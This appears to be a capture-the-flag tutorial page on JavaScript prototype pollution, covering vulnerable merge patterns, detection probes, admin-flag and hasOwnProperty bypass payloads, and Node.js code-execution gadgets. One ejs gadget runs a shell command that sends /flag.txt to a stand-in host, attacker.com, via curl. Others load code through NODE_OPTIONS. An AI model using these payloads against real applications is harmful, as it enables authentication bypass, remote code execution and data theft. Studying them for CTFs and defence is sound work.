Prototype Pollution
Exploit JavaScript prototype pollution in CTF web challenges to bypass authentication and achieve RCE.
Prototype Pollution
Prototype pollution is a JavaScript vulnerability where attackers inject properties into Object.prototype or constructor prototypes through unsafe object merge operations, causing all objects in the application to inherit malicious properties.
How it works: Unsafe merge operations (_.merge, Object.assign with user input) allow injecting __proto__ or constructor.prototype keys; attacker adds properties (isAdmin=true, password=bypass, Object.defineProperty functions) that propagate to all objects via prototype chain inheritance.
Why it matters: Affects nearly all Node.js/JavaScript web applications using vulnerable libraries; enables authentication bypass (isAdmin pollution), config manipulation (debug=true), arbitrary method injection, RCE in Node.js through process/require pollution; OWASP emerging category.
How It Works
Every JavaScript object inherits properties from Object.prototype. If you can pollute this prototype, every object in the app gains those properties:
// Polluting via deeply-nested key
let obj = {};
_.merge(obj, JSON.parse('{"__proto__": {"admin": true}}'));
let user = {};
console.log(user.admin); // → true (polluted from prototype!)Common Vulnerable Patterns
_.merge (lodash)
const _ = require("lodash");
const userInput = JSON.parse(req.body);
_.merge({}, userInput); // VULNERABLE if userInput has __proto__Object.assign (limited)
Object.assign({}, userInput); // Only shallow - less vulnerableCustom recursive merge
function merge(a, b) {
for (let key in b) {
if (typeof b[key] === "object") merge(a[key], b[key]);
else a[key] = b[key]; // VULNERABLE - no key sanitization
}
}Detection
Test by sending:
{"__proto__": {"testPollution": "pwned"}}
{"constructor": {"prototype": {"testPollution": "pwned"}}}Then check if testPollution property appears on a new empty object.
Authentication Bypass
// Server code:
function isAdmin(user) {
return user.admin === true;
}
// If you can pollute Object.prototype.admin = true:
// → isAdmin({}) returns true for any user!Payload:
{ "__proto__": { "admin": true } }Bypass hasOwnProperty Checks
Some apps check obj.hasOwnProperty('key') to avoid inherited properties. Pollute hasOwnProperty itself:
{ "__proto__": { "hasOwnProperty": 1 } }Now obj.hasOwnProperty(anything) returns 1 (truthy) for all objects.
Node.js RCE via Prototype Pollution
In Node.js, certain library behaviors can be hijacked via prototype pollution:
Via child_process.exec gadget (ejs template engine)
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl http://attacker.com/$(cat /flag.txt)');x"
}
}Via shell option in child_process
{
"__proto__": {
"shell": "node",
"env": { "NODE_OPTIONS": "--require /proc/self/fd/0" },
"stdio": [0, 1, 1]
}
}Via NODE_OPTIONS in environment pollution
{ "__proto__": { "NODE_OPTIONS": "--require /evil.js" } }Via URL Parameters (GET/POST)
Some frameworks parse a[__proto__][admin]=true from query strings:
GET /page?__proto__[admin]=true HTTP/1.1
POST /page
a[__proto__][admin]=trueTools
# Automatic scanning
npm install -g nodejsscan
# Manual testing: send the payload and check response for unexpected properties
curl -X POST http://target/api \
-H "Content-Type: application/json" \
-d '{"__proto__":{"admin":true}}'Checklist
- Is the application Node.js?
- Find endpoints that accept JSON input with nested objects
- Test proto and constructor.prototype injection
- Try
{"__proto__": {"admin": true}}for auth bypass - Test url params: ?proto[admin]=true
- If lodash/deep-merge is used → likely vulnerable
- For RCE: look for ejs, pug, or child_process execution patterns
- Check CVE database for specific library versions
Last updated on